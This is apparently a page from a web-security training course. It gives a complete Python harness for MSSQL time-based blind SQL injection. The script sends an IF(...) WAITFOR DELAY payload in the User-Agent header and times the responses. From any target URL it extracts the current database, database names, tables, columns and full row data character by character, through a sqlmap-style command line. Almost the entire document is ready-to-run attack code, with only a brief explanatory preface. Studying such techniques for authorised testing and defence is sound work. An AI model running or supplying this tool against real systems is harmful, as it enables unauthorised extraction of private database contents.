Time-Based Blind
MSSQL time-based linear harness
Complete standalone file. Same linear dumping CLI as the boolean version, but the oracle reads response time from an IF(...) WAITFOR DELAY branch.
The example places the payload in the User-Agent header because header SQLi is common in fully blind cases. THRESHOLD should sit above normal baseline latency and below the injected DELAY. The harness uses MSSQL syntax throughout: LEN, SUBSTRING, ASCII, db_name(), sys.databases, information_schema, and OFFSET ... FETCH NEXT.
import argparse
import string
import sys
import time
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
CHARSET = string.ascii_letters + string.digits + string.punctuation + " "
DELAY = 5
THRESHOLD = 3
parser = argparse.ArgumentParser(
description="MSSQL time-based blind SQL injection dumping harness.",
epilog=f"Example: {sys.argv[0]} -t http://example.com [-x http://127.0.0.1:8080] --current-db")
parser.add_argument("-t", "--target", required=True, type=str, help="URL of the target, including the port.")
parser.add_argument("-x", "--proxy", required=False, type=str, help="Optional proxy to pass traffic through.", default=None)
parser.add_argument("--current-db", required=False, action="store_true", help="Dump the current database name.")
parser.add_argument("--databases", required=False, action="store_true", help="Dump database names.")
parser.add_argument("--tables", required=False, action="store_true", help="Dump table names from the selected database.")
parser.add_argument("--columns", required=False, action="store_true", help="Dump column names from the selected table.")
parser.add_argument("--dump", required=False, action="store_true", help="Dump selected columns from the selected table.")
parser.add_argument("-D", "--database", required=False, type=str, help="Database name.", default=None)
parser.add_argument("-T", "--table", required=False, type=str, help="Table name.", default=None)
parser.add_argument("-C", "--columns-list", required=False, type=str, help="Comma-separated columns to dump.", default=None)
args = parser.parse_args()
PROXY = args.proxy
if PROXY is not None:
PROXY = PROXY.strip()
PROXIES = {
"http": PROXY,
"https": PROXY
}
else:
PROXIES = {}
URL = args.target.rstrip("/").strip()
def oracle(s, q):
start = time.time()
headers = {
"User-Agent": f"';IF({q}) WAITFOR DELAY '0:0:{DELAY}'--"
}
try:
s.get(url=URL, headers=headers, verify=False, timeout=DELAY + 5, proxies=PROXIES)
except Exception as e:
print(f"\n[-] request failed: {e}")
sys.exit(1)
return time.time() - start > THRESHOLD
def get_count(s, query, label):
count = 0
while True:
print(f"\r[+] Bruteforcing {label}: {count}", end="", flush=True)
if oracle(s, f"({query})={count}"):
print(f"\n[+] {label}: {count}")
return count
count += 1
def get_length(s, expr, label):
length = 0
while True:
print(f"\r[+] Bruteforcing length of {label}: {length}", end="", flush=True)
if oracle(s, f"LEN(({expr}))={length}"):
print(f"\n[+] Length of {label}: {length}")
return length
length += 1
def dump_value(s, expr, label):
value = ""
length = get_length(s, expr, label)
for pos in range(1, length + 1):
matched = False
for ch in CHARSET:
print(f"\r[+] Dumping {label}: {value}", end="", flush=True)
if oracle(s, f"ASCII(SUBSTRING(({expr}),{pos},1))={ord(ch)}"):
value += ch
matched = True
break
if not matched:
print(f"\n[-] Charset exhausted at position {pos} while dumping {label}")
sys.exit(1)
print(f"\n[+] {label}: {value}")
return value
def database_expr(position):
return f"SELECT name FROM sys.databases ORDER BY name OFFSET {position} ROWS FETCH NEXT 1 ROWS ONLY"
def table_expr(database, position):
return f"SELECT table_name FROM information_schema.tables WHERE table_catalog='{database}' ORDER BY table_name OFFSET {position} ROWS FETCH NEXT 1 ROWS ONLY"
def column_expr(database, table, position):
return f"SELECT column_name FROM information_schema.columns WHERE table_catalog='{database}' AND table_name='{table}' ORDER BY column_name OFFSET {position} ROWS FETCH NEXT 1 ROWS ONLY"
def row_expr(database, table, column, position):
return f"SELECT CAST({column} AS NVARCHAR(4000)) FROM {database}.dbo.{table} ORDER BY {column} OFFSET {position} ROWS FETCH NEXT 1 ROWS ONLY"
if __name__ == "__main__":
s = requests.Session()
if args.current_db:
dump_value(s, "db_name()", "current database")
if args.databases:
database_count = get_count(s, "SELECT COUNT(*) FROM sys.databases", "database count")
for pos in range(0, database_count):
dump_value(s, database_expr(pos), f"database {pos}")
database = args.database
if not database and (args.tables or args.columns or args.dump):
database = dump_value(s, "db_name()", "current database")
if args.tables:
table_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.tables WHERE table_catalog='{database}'", "table count")
for pos in range(0, table_count):
dump_value(s, table_expr(database, pos), f"table {pos}")
if args.columns:
if not args.table:
print("[-] --columns requires -T")
sys.exit(1)
column_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.columns WHERE table_catalog='{database}' AND table_name='{args.table}'", "column count")
for pos in range(0, column_count):
dump_value(s, column_expr(database, args.table, pos), f"column {pos}")
if args.dump:
if not args.table or not args.columns_list:
print("[-] --dump requires -T and -C")
sys.exit(1)
columns = []
for column in args.columns_list.split(","):
columns.append(column.strip())
row_count = get_count(s, f"SELECT COUNT(*) FROM {database}.dbo.{args.table}", "row count")
for pos in range(0, row_count):
for column in columns:
dump_value(s, row_expr(database, args.table, column, pos), f"{args.table}.{column} row {pos}")Find by: mssql, time based blind sqli, waitfor delay, user-agent, len, substring, ascii, db_name, sys.databases, offset fetch, sqlmap style cli · Source: CWEE/Blind SQL Injection